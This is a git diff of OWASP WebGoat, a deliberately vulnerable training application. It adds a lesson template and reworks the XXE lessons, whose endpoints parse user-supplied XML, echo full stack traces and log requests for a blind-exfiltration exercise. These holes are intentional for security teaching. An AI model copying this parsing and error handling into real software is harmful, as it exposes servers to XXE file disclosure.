webgoat-lessons/webgoat-lesson-template/getting-started.txt
Normal file
@ -0,0 +1,55 @@
|
||||
##### To include lesson template in build #####
|
||||
1. edit theh webgoat-server/pom.xml file and uncomment the section under ...
|
||||
<!--uncommment below to run/include lesson template in WebGoat Build-->
|
||||
|
||||
2. Also uncomment in webgoat-lessons/pom.xml where it says ...
|
||||
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml-->
|
||||
|
||||
##### To add a lesson to WebGoat #####
|
||||
|
||||
There are a number of moving parts and this sample lesson will help you navigate those parts. Most of your work will be done in two directories. To start though, you can copy this directory with the name of your-lesson in the webgoat-lessons directory.
|
||||
|
||||
0. The POM file
|
||||
a. change the ...
|
||||
<artifactId>webgoat-lesson-template</artifactId>
|
||||
... line to give your lesson its own artifactId.That should be all you need to do there
|
||||
|
||||
1. The Base Class ...
|
||||
In webgoat-lessons/{your-lesson}/src/main/java, refactor the LessonTemplate.java class, changing ...
|
||||
a. the category in which you want your lesson to be in. You can create a new category if you want, or put in an issue to have one added
|
||||
b. The 'defaultRanking' will move your lesson up or down in the categories list
|
||||
c. implement a new key name pair "lesson-template.title" (the key) and update the same key/value pair (your.key=your value) in src/main/resources/i18n/WebGoatLabels.properties
|
||||
d. Implement a new value for the getId method, which leads us to ...
|
||||
|
||||
2. The HTML content framing ...
|
||||
a. Rename the provided file in src/main/resources/html using your value from the getId method in your lesson's base class (e.g. public String getId() { return "your-lesson"; } >> "your-lesson.html")
|
||||
b. Modify that file following the commented instructions in there
|
||||
c. In conjunction with this file you
|
||||
|
||||
3. Assignment Endpoints
|
||||
a. In the above html file, you will see an example of an 'attack form'. You can create endpoints to handle these attacks and provide the user feedback and simulated output. See the example file here as well as other existing lessons for ways to extend these. You will extend the AssignmentEndpoint as the example will show
|
||||
b. You can also create supporting (non-assignment) endpoints, that are not evaluated/graded.
|
||||
c. See other lesson examples for creating unit/integration tests for your project as well
|
||||
|
||||
|
||||
4. Getting your lesson to show up
|
||||
a. modify the webgoat-lessons/pom.xml to include your project in the <modules> section
|
||||
<modules>
|
||||
<!-- ... -->
|
||||
<module>webgoat-lesson-template</module>
|
||||
<!-- ... -->
|
||||
</modules>
|
||||
|
||||
b. modify the webgoat-server/pom.xml to add your project as a dependency in the <dependencies> section ...
|
||||
<dependencies>
|
||||
<!-- .... >
|
||||
<dependency>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>your-artfifact-id-here</artifactId>
|
||||
<version>${project.version}</version>
|
||||
</dependency>
|
||||
<!-- .... >
|
||||
<dependencies>
|
||||
|
||||
|
||||
5. You should be ready to run and test your project. Please create issues at https://github.com/WebGoat/WebGoat if there errors or confusion with this documentation/template
|
12
webgoat-lessons/webgoat-lesson-template/pom.xml
Normal file
12
webgoat-lessons/webgoat-lesson-template/pom.xml
Normal file
@ -0,0 +1,12 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<artifactId>webgoat-lesson-template</artifactId>
|
||||
<packaging>jar</packaging>
|
||||
<parent>
|
||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||
<artifactId>webgoat-lessons-parent</artifactId>
|
||||
<version>8.0-SNAPSHOT</version>
|
||||
</parent>
|
||||
|
||||
</project>
|
BIN
webgoat-lessons/webgoat-lesson-template/src/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
webgoat-lessons/webgoat-lesson-template/src/main/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/org/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/org/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/webgoat/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/java/org/owasp/webgoat/.DS_Store
vendored
Normal file
Binary file not shown.
@ -0,0 +1,65 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import org.owasp.webgoat.lessons.Category;
|
||||
import org.owasp.webgoat.lessons.NewLesson;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
|
||||
* please see http://www.owasp.org/
|
||||
* <p>
|
||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||
* <p>
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
* <p>
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
* <p>
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
* <p>
|
||||
* Getting Source ==============
|
||||
* <p>
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||
* projects.
|
||||
* <p>
|
||||
*
|
||||
* @author misfir3
|
||||
* @version $Id: $Id
|
||||
* @since January 3, 2017
|
||||
*/
|
||||
public class LessonTemplate extends NewLesson {
|
||||
|
||||
@Override
|
||||
public Category getDefaultCategory() {
|
||||
return Category.GENERAL;
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getHints() {
|
||||
return Lists.newArrayList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public Integer getDefaultRanking() {
|
||||
return 30;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getTitle() {
|
||||
return "lesson-template.title";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getId() {
|
||||
return "LessonTemplate";
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,62 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.UserSessionData;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.web.bind.annotation.PathVariable;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* Created by jason on 1/5/17.
|
||||
*/
|
||||
|
||||
@AssignmentPath("/lesson-template/sample-attack")
|
||||
public class SampleAttack extends AssignmentEndpoint {
|
||||
|
||||
String secretValue = "secr37Value";
|
||||
|
||||
//UserSessionData is bound to session and can be used to persist data across multiple assignments
|
||||
@Autowired
|
||||
UserSessionData userSessionData;
|
||||
|
||||
|
||||
@GetMapping(produces = {"application/json"})
|
||||
public @ResponseBody
|
||||
AttackResult completed(String param1, String param2, HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
|
||||
|
||||
if (userSessionData.getValue("some-value") != null) {
|
||||
// do any session updating you want here ... or not, just comment/example here
|
||||
//return trackProgress(failed().feedback("lesson-template.sample-attack.failure-2").build());
|
||||
}
|
||||
|
||||
//overly simple example for success. See other existing lesssons for ways to detect 'success' or 'failure'
|
||||
if (secretValue.equals(param1)) {
|
||||
return trackProgress(success()
|
||||
.output("Custom Output ...if you want, for success")
|
||||
.feedback("lesson-template.sample-attack.success")
|
||||
.build());
|
||||
//lesson-template.sample-attack.success is defined in src/main/resources/i18n/WebGoatLabels.properties
|
||||
}
|
||||
|
||||
// else
|
||||
return trackProgress(failed()
|
||||
.feedback("lesson-template.sample-attack.failure-2")
|
||||
.output("Custom output for this failure scenario, usually html that will get rendered directly ... yes, you can self-xss if you want")
|
||||
.build());
|
||||
}
|
||||
|
||||
}
|
BIN
webgoat-lessons/webgoat-lesson-template/src/main/resources/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/resources/.DS_Store
vendored
Normal file
Binary file not shown.
BIN
webgoat-lessons/webgoat-lesson-template/src/main/resources/html/.DS_Store
vendored
Normal file
BIN
webgoat-lessons/webgoat-lesson-template/src/main/resources/html/.DS_Store
vendored
Normal file
Binary file not shown.
@ -0,0 +1,54 @@
|
||||
<html xmlns:th="http://www.thymeleaf.org">
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which go in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:lesson-template-intro.adoc"></div>
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse the above lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
|
||||
<div class="adoc-content" th:replace="doc:lesson-template-video.adoc"></div>
|
||||
<!-- can use multiple adoc's in a page-wrapper if you want ... or not-->
|
||||
<div class="adoc-content" th:replace="doc:lesson-template-attack.adoc"></div>
|
||||
|
||||
<!-- WebGoat will automatically style and scaffold some functionality by using the div.attack-container as below -->
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
|
||||
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
|
||||
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
|
||||
|
||||
<!-- modify the action to point to the intended endpoint and set other attributes as desired -->
|
||||
<script th:src="@{/lesson_js/idor.js}" />
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="GET" name="form"
|
||||
action="/WebGoat/lesson-template/sample-attack"
|
||||
enctype="application/json;charset=UTF-8">
|
||||
<table>
|
||||
<tr>
|
||||
<td>two random params</td>
|
||||
<td>parameter 1:<input name="param1" value="" type="TEXT" /></td>
|
||||
<td>parameter 2:<input name="param2" value="" type="TEXT" /></td>
|
||||
<td>
|
||||
<input
|
||||
name="submit" value="Submit" type="SUBMIT"/>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
<!-- do not remove the two following div's, this is where your feedback/output will land -->
|
||||
<!-- the attack response will include a 'feedback' and that will automatically go here -->
|
||||
<div class="attack-feedback"></div>
|
||||
<!-- output is intended to be a simulation of what the screen would display in an attack -->
|
||||
<div class="attack-output"></div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- repeat and mix-and-match the lesson-page-wrappers with or wihtout the attack-containers as you like ...
|
||||
see other lessons for other more complex examples -->
|
||||
|
||||
</html>
|
@ -0,0 +1,7 @@
|
||||
lesson-template.title=Lesson Template
|
||||
|
||||
lesson-template.sample-attack.failure-1=Sample failure message
|
||||
lesson-template.sample-attack.failure-2=Sample failure message 2
|
||||
|
||||
lesson-template.sample-attack.success=Sample success message
|
||||
|
Binary file not shown.
After Width: | Height: | Size: 200 KiB |
@ -0,0 +1,18 @@
|
||||
// need custom js for this?
|
||||
|
||||
webgoat.customjs.idorViewProfile = function(data) {
|
||||
webgoat.customjs.jquery('#idor-profile').html(
|
||||
'name:' + data.name + '<br/>'+
|
||||
'color:' + data.color + '<br/>'+
|
||||
'size:' + data.size + '<br/>'
|
||||
);
|
||||
}
|
||||
|
||||
var onViewProfile = function () {
|
||||
console.warn("on view profile activated")
|
||||
webgoat.customjs.jquery.ajax({
|
||||
method: "GET",
|
||||
url: "/WebGoat/IDOR/profile",
|
||||
contentType: 'application/json; charset=UTF-8'
|
||||
}).then(webgoat.customjs.idorViewProfile);
|
||||
}
|
@ -0,0 +1,3 @@
|
||||
=== Attack Explanation
|
||||
|
||||
Explanation of attack here ... Instructions etc.
|
@ -0,0 +1,19 @@
|
||||
|
||||
== Lesson Template Intro
|
||||
|
||||
This is the lesson template intro.
|
||||
|
||||
=== Sub-heading
|
||||
|
||||
Check asciidoc for syntax, but more = means smaller headings. You can *bold* text and other things.
|
||||
|
||||
=== Structuring files
|
||||
|
||||
You should set up all content so that it is these *.adoc files.
|
||||
|
||||
=== Images
|
||||
|
||||
Images can be refereneced as below including setting style (recommended to use lesson-image as the style). The root is {lesson}/src/main/resources
|
||||
|
||||
image::images/firefox-proxy-config.png[Firefox Proxy Config,510,634,style="lesson-image"]
|
||||
|
@ -0,0 +1,7 @@
|
||||
=== More Content, Video too ...
|
||||
|
||||
You can structure and format the content however you like. You can even include video if you like (but may be subject to browser support). You may want to make it more pertinent to web application security than this though.
|
||||
|
||||
video::video/sample-video.m4v[width=480,start=5]
|
||||
|
||||
see http://asciidoctor.org/docs/asciidoc-syntax-quick-reference/#videos for more detail on video syntax
|
Binary file not shown.
@ -1,11 +1,13 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.beust.jcommander.internal.Lists;
|
||||
import com.google.common.base.Joiner;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.core.io.ClassPathResource;
|
||||
import org.springframework.http.MediaType;
|
||||
@ -51,11 +53,15 @@ import java.util.List;
|
||||
* @version $Id: $Id
|
||||
* @since November 18, 2016
|
||||
*/
|
||||
@AssignmentPath("XXE/blind")
|
||||
@AssignmentPath("xxe/blind")
|
||||
public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@PostConstruct
|
||||
@SneakyThrows
|
||||
@ -70,22 +76,23 @@ public class BlindSendFileAssignment extends AssignmentEndpoint {
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult createNewUser(@RequestBody String userInfo) throws Exception {
|
||||
String error = "Parsing successful contents not send to server";
|
||||
public AttackResult addComment(@RequestBody String commentStr) throws Exception {
|
||||
String error = "Parsing successful contents not send to attacker";
|
||||
try {
|
||||
//parseXml(userInfo);
|
||||
Comment comment = comments.parseXml(commentStr);
|
||||
comments.addComment(comment, false);
|
||||
} catch (Exception e) {
|
||||
error = ExceptionUtils.getFullStackTrace(e);
|
||||
error = e.toString();
|
||||
}
|
||||
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log.txt");
|
||||
List<String> lines = Files.readAllLines(Paths.get(logFile.toURI()));
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
List<String> lines = logFile.exists() ? Files.readAllLines(Paths.get(logFile.toURI())) : Lists.newArrayList();
|
||||
boolean solved = lines.stream().filter(l -> l.contains("WebGoat 8 rocks...")).findFirst().isPresent();
|
||||
logFile.delete();
|
||||
if (solved) {
|
||||
return success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build();
|
||||
logFile.delete();
|
||||
return trackProgress(success().output("xxe.blind.output").outputArgs(Joiner.on('\n').join(lines)).build());
|
||||
} else {
|
||||
return failed().output(error).build();
|
||||
return trackProgress(failed().output(error).build());
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,30 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Collection;
|
||||
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 5/4/17.
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("xxe/comments")
|
||||
public class CommentsEndpoint {
|
||||
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
|
||||
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public Collection<Comment> retrieveComments() {
|
||||
return comments.getComments();
|
||||
}
|
||||
|
||||
}
|
@ -1,14 +1,17 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import org.apache.commons.exec.OS;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.io.IOException;
|
||||
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
||||
|
||||
/**
|
||||
* ************************************************************************************************
|
||||
@ -39,37 +42,56 @@ import java.io.IOException;
|
||||
* @version $Id: $Id
|
||||
* @since November 17, 2016
|
||||
*/
|
||||
@AssignmentPath("XXE/content-type")
|
||||
@AssignmentPath("xxe/content-type")
|
||||
@AssignmentHints({"xxe.hints.content.type.xxe.1", "xxe.hints.content.type.xxe.2"})
|
||||
public class ContentTypeAssignment extends AssignmentEndpoint {
|
||||
|
||||
private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "opt", "var"};
|
||||
private final static String[] DEFAULT_WINDOWS_DIRECTORIES = {"Windows", "Program Files (x86)", "Program Files"};
|
||||
|
||||
|
||||
@Value("${webgoat.server.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
|
||||
@RequestMapping(method = RequestMethod.POST, consumes = MediaType.ALL_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult createNewUser(@RequestBody String userInfo, @RequestHeader("Content-Type") String contentType) throws Exception {
|
||||
User user = new User();
|
||||
public AttackResult createNewUser(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
|
||||
AttackResult attackResult = failed().build();
|
||||
if (MediaType.APPLICATION_JSON_VALUE.equals(contentType)) {
|
||||
user = parseJson(userInfo);
|
||||
Comment comment = null;
|
||||
if (APPLICATION_JSON_VALUE.equals(contentType)) {
|
||||
comment = comments.parseJson(commentStr);
|
||||
comments.addComment(comment, true);
|
||||
attackResult = failed().feedback("xxe.content.type.feedback.json").build();
|
||||
}
|
||||
|
||||
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
|
||||
// user = parseXml(userInfo);
|
||||
attackResult = failed().feedback("xxe.content.type.feedback.xml").build();
|
||||
String error = "";
|
||||
try {
|
||||
comment = comments.parseXml(commentStr);
|
||||
comments.addComment(comment, false);
|
||||
} catch (Exception e) {
|
||||
error = org.apache.commons.lang.exception.ExceptionUtils.getFullStackTrace(e);
|
||||
}
|
||||
attackResult = failed().feedback("xxe.content.type.feedback.xml").output(error).build();
|
||||
}
|
||||
|
||||
// if (checkSolution(user)) {
|
||||
// attackResult = success().output("xxe.content.output").outputArgs(user.getUsername()).build();
|
||||
// }
|
||||
return attackResult;
|
||||
if (checkSolution(comment)) {
|
||||
attackResult = success().build();
|
||||
}
|
||||
return trackProgress(attackResult);
|
||||
}
|
||||
|
||||
private User parseJson(String userInfo) {
|
||||
ObjectMapper mapper = new ObjectMapper();
|
||||
try {
|
||||
return mapper.readValue(userInfo, User.class);
|
||||
} catch (IOException e) {
|
||||
return new User();
|
||||
private boolean checkSolution(Comment comment) {
|
||||
String[] directoriesToCheck = OS.isFamilyUnix() ? DEFAULT_LINUX_DIRECTORIES : DEFAULT_WINDOWS_DIRECTORIES;
|
||||
boolean success = true;
|
||||
for (String directory : directoriesToCheck) {
|
||||
success &= comment.getText().contains(directory);
|
||||
}
|
||||
return success;
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -2,12 +2,10 @@ package org.owasp.webgoat.plugin;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.assignments.Endpoint;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.web.bind.annotation.RequestHeader;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
import org.springframework.web.bind.annotation.RequestParam;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.io.File;
|
||||
import java.io.FileNotFoundException;
|
||||
@ -47,6 +45,8 @@ public class Ping extends Endpoint {
|
||||
|
||||
@Value("${webgoat.user.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
|
||||
@Override
|
||||
public String getPath() {
|
||||
@ -58,7 +58,7 @@ public class Ping extends Endpoint {
|
||||
public String logRequest(@RequestHeader("User-Agent") String userAgent, @RequestParam(required = false) String text) {
|
||||
String logLine = String.format("%s %s %s", "GET", userAgent, text);
|
||||
log.debug(logLine);
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log.txt");
|
||||
File logFile = new File(webGoatHomeDirectory, "/XXE/log" + webSession.getUserName() + ".txt");
|
||||
try {
|
||||
try (PrintWriter pw = new PrintWriter(logFile)) {
|
||||
pw.println(logLine);
|
||||
|
@ -1,24 +1,19 @@
|
||||
package org.owasp.webgoat.plugin;
|
||||
|
||||
import org.apache.commons.exec.OS;
|
||||
import org.apache.commons.lang.exception.ExceptionUtils;
|
||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||
import org.owasp.webgoat.assignments.AttackResult;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RequestHeader;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import java.util.Collection;
|
||||
|
||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||
import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
||||
import static org.springframework.web.bind.annotation.RequestMethod.POST;
|
||||
|
||||
/**
|
||||
@ -65,35 +60,22 @@ public class SimpleXXE extends AssignmentEndpoint {
|
||||
@Value("${webgoat.server.directory}")
|
||||
private String webGoatHomeDirectory;
|
||||
@Autowired
|
||||
private WebSession webSession;
|
||||
@Autowired
|
||||
private Comments comments;
|
||||
|
||||
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public Collection<Comment> retrieveComments() {
|
||||
return comments.getComments();
|
||||
}
|
||||
|
||||
@RequestMapping(method = POST, consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE)
|
||||
@ResponseBody
|
||||
public AttackResult createNewComment(@RequestBody String commentStr, @RequestHeader("Content-Type") String contentType) throws Exception {
|
||||
Comment comment = null;
|
||||
if (APPLICATION_JSON_VALUE.equals(contentType)) {
|
||||
comment = comments.parseJson(commentStr);
|
||||
comments.addComment(comment, true);
|
||||
}
|
||||
if (MediaType.APPLICATION_XML_VALUE.equals(contentType)) {
|
||||
//Do not show these comments to all users
|
||||
comment = comments.parseXml(commentStr);
|
||||
public AttackResult createNewComment(@RequestBody String commentStr) throws Exception {
|
||||
String error = "";
|
||||
try {
|
||||
Comment comment = comments.parseXml(commentStr);
|
||||
comments.addComment(comment, false);
|
||||
if (checkSolution(comment)) {
|
||||
return trackProgress(success().build());
|
||||
}
|
||||
} catch (Exception e) {
|
||||
error = ExceptionUtils.getFullStackTrace(e);
|
||||
}
|
||||
if (checkSolution(comment)) {
|
||||
return trackProgress(success()
|
||||
.output("xxe.simple.output")
|
||||
.outputArgs(webSession.getUserName()).build());
|
||||
}
|
||||
return trackProgress(failed().build());
|
||||
return trackProgress(failed().output(error).build());
|
||||
}
|
||||
|
||||
private boolean checkSolution(Comment comment) {
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
<script th:src="@{/lesson_js/xxe.js}" language="JavaScript"></script>
|
||||
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
@ -23,43 +22,51 @@
|
||||
<div class="attack-container">
|
||||
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
|
||||
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
<div class="pull-left image">
|
||||
<img th:src="@{/images/avatar1.png}"
|
||||
class="img-circle avatar" alt="user profile image"/>
|
||||
</div>
|
||||
<div class="pull-left meta">
|
||||
<div class="title h5">
|
||||
<a href="#"><b>John Doe</b></a>
|
||||
uploaded a photo.
|
||||
<form class="attack-form" accept-charset="UNKNOWN"
|
||||
method="POST" name="form"
|
||||
prepareData="simpleXXE"
|
||||
callback="simpleXXECallback"
|
||||
contentType="application/xml"
|
||||
action="/WebGoat/xxe/simple">
|
||||
<div class="container-fluid">
|
||||
<div class="panel post">
|
||||
<div class="post-heading">
|
||||
<div class="pull-left image">
|
||||
<img th:src="@{/images/avatar1.png}"
|
||||
class="img-circle avatar" alt="user profile image"/>
|
||||
</div>
|
||||
<div class="pull-left meta">
|
||||
<div class="title h5">
|
||||
<a href="#"><b>John Doe</b></a>
|
||||
uploaded a photo.
|
||||
</div>
|
||||
<h6 class="text-muted time">24 days ago</h6>
|
||||
</div>
|
||||
<h6 class="text-muted time">24 days ago</h6>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="post-image">
|
||||
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
|
||||
</div>
|
||||
<div class="post-image">
|
||||
<img th:src="@{images/cat.jpg}" class="image" alt="image post"/>
|
||||
</div>
|
||||
|
||||
<div class="post-description">
|
||||
<div class="post-description">
|
||||
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control" id="commentInput" placeholder="Add a comment" type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<i id="postComment" class="fa fa-edit" style="font-size: 20px"></i>
|
||||
</div>
|
||||
<div class="post-footer">
|
||||
<div class="input-group">
|
||||
<input class="form-control input-lg" id="commentInputSimple" placeholder="Add a comment"
|
||||
type="text"/>
|
||||
<span class="input-group-addon">
|
||||
<button id="postCommentSimple" class="btn btn-primary">Submit</button>
|
||||
</span>
|
||||
</div>
|
||||
<ul class="comments-list">
|
||||
<div id="comments_list">
|
||||
</div>
|
||||
</ul>
|
||||
<ul class="comments-list">
|
||||
<div id="commentsListSimple">
|
||||
</div>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<br/>
|
||||
<div class="attack-feedback"></div>
|
||||
@ -68,111 +75,127 @@
|
||||
</div>
|
||||
|
||||
<div class="lesson-page-wrapper">
|
||||
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
|
||||
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
|
||||
